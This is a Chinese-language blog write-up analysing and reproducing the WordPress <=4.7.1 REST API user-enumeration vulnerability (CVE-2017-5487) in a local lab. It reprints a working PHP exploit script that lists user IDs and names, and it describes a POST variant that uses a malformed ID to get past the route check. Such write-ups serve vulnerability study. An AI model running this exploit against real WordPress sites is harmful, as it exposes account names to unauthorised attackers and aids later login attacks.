[CVE-2017-5487] WordPress <=4.7.1 REST API 内容注入漏洞分析与复现
记录下自己的复现思路
漏洞影响:
未授权获取发布过文章的其他用户的用户名、id
触发前提:wordpress配置REST API
影响版本:<= 4.7
0x01漏洞复现
复现环境:
1) Apache2.4 
2) PHP 7.0 
3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载)
确认 Httpd-conf Allowover All

Exploit:
https://www.exploit-db.com/exploits/41497/ 下载这里,修改箭头那里。
#!usr/bin/php
<?php #Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8'); $url= "http://localhost/wordpress-4.7.1/index.php";//
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";} ?>
漏洞复现:

http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/

Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断,返回ture,程序继续执行query,REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。
这里添加一个用户作为一个事例,再次执行exp。
以下是漏洞证明,返回了用户id 、发布的文章消息以及一些其他内容。

另外一种利用方法
根据RESR APi文档,修改他的请求方式,以下利用post

在路由查询的操作中,$_get和$_post值优先路由正则表达式生成的值。输入 ?id=1a忽略路由正则的限制,来传入我们自定义的不存在ID,返回rest_invalid。下面就是跟前面的get那样避开判断,执行查询。这里是update_item方法的请求。下图我们可以看到返回了id为1的内容。

ref
- http://blog.nsfocus.net/wordpress-user-enumeration-vulnerability-analysis/
- https://www.seebug.org/vuldb/ssvid-92732
- https://www.exploit-db.com/exploits/41497/?rss
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
- https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60
[CVE-2017-5487] WordPress <=4.7.1 REST API 内容注入漏洞分析与复现的更多相关文章
- WordPress REST API 内容注入漏洞
1 WordPress REST API 内容注入漏洞 1.1 摘要 1.1.1 漏洞介绍 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统.在4.7.0版本后,R ...
- WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞
漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...
- WordPress BulletProof Security插件多个HTML注入漏洞
漏洞名称: WordPress BulletProof Security插件多个HTML注入漏洞 CNNVD编号: CNNVD-201308-023 发布时间: 2013-08-06 更新时间: 20 ...
- WordPress Cart66 Lite插件HTML注入漏洞
漏洞名称: WordPress Cart66 Lite插件HTML注入漏洞 CNNVD编号: CNNVD-201310-525 发布时间: 2013-10-23 更新时间: 2013-10-23 危害 ...
- WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞
漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...
- WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞
漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...
- WordPress Cart66 Lite插件跨站请求伪造漏洞
漏洞名称: WordPress Cart66 Lite插件跨站请求伪造漏洞 CNNVD编号: CNNVD-201310-524 发布时间: 2013-10-23 更新时间: 2013-10-23 危害 ...
- WordPress Quick Paypal Payments插件HTML注入漏洞
漏洞名称: WordPress Quick Paypal Payments插件HTML注入漏洞 CNNVD编号: CNNVD-201310-491 发布时间: 2013-10-22 更新时间: 201 ...
- WordPress RokStories插件‘thumb.php’多个安全漏洞
漏洞名称: WordPress RokStories插件‘thumb.php’多个安全漏洞 CNNVD编号: CNNVD-201309-438 发布时间: 2013-09-26 更新时间: 2013- ...
随机推荐
- linux 块设备驱动(五)——块设备应用层的操作
一: 加载好sbull驱动 root@CarRadio:/# ls /dev/sbull -l brw-r--r-- 1 root root 254, 16 Mar 25 08:25 /dev/sbu ...
- multimap容器和multiset容器中的find操作
前言 multimap容器是map容器的“ 增强版 ”,它允许一个键对应多个值.对于map容器来说,find函数将会返回第一个键值匹配元素所在处的迭代器.那么对于multimap容器来说,find函数 ...
- wpf 模板选择器DataTemplateSelector及动态绑定使用教程
其实也说不上算是教程了,只是把自己学习的代码拿出来分享一下,同时方便以后遇到类似问题的时候翻一下.MSDN里如是说:通常,如果有多个 DataTemplate 可用于同一类型的对象,并且您希望根据每个 ...
- C#基础系列:反射笔记
前言:使用反射也有几年了,但是一直觉得,反这个概念很抽象,今天有时间就来总结下这个知识点. 1.为什么需要反射: 最初使用反射的时候,作为小菜总是不理解,既然可以通过new 一个对象的方式得到对象,然 ...
- 查看客户端java日志
通过 Java 控制面板启用 Java 控制台 Windows 8 使用搜索来查找控制面板 按 Windows 徽标键 + W 以打开搜索框来搜索设置,或者将鼠标指针拖动到屏幕的右下角,然后单击搜索图 ...
- Vue 向下扩展后就类似于 jQuery
https://cn.vuejs.org/v2/guide/comparison.html
- css zoom 属性
oom这个属性是ie专有属性,除了设置或者检索对象的缩放比例之外,它还有可以触发ie的haslayout属性,清除浮动,清除margin重叠等作用. 不过值得注意的一点就是火狐浏览器不支持zoom属性 ...
- pdf文件的作成
Dim Report As New crProgressList Report.PrintOptions.PaperSize = CrystalDecisions.Shared.PaperSize.P ...
- Xmpp学习之Asmack取经-asmack入门(一)
1.XMPPConnection:它主要是用来创建一个跟XMPP服务端的Socket连接.它是与Jabber服务端的默认连接并且已经在RFC 3920中精确定义过了.示例如下: XMPPConnect ...
- [coci2011]友好数对 容斥
无趣的小x在玩一个很无趣的数字游戏.他要在n个数字中找他喜欢友好数对.他对友好数对的定义是:如果有两个数中包含某一个以上相同的数位(单个数字),这两个数就是友好数对.比如:123和345 就是友好数对 ...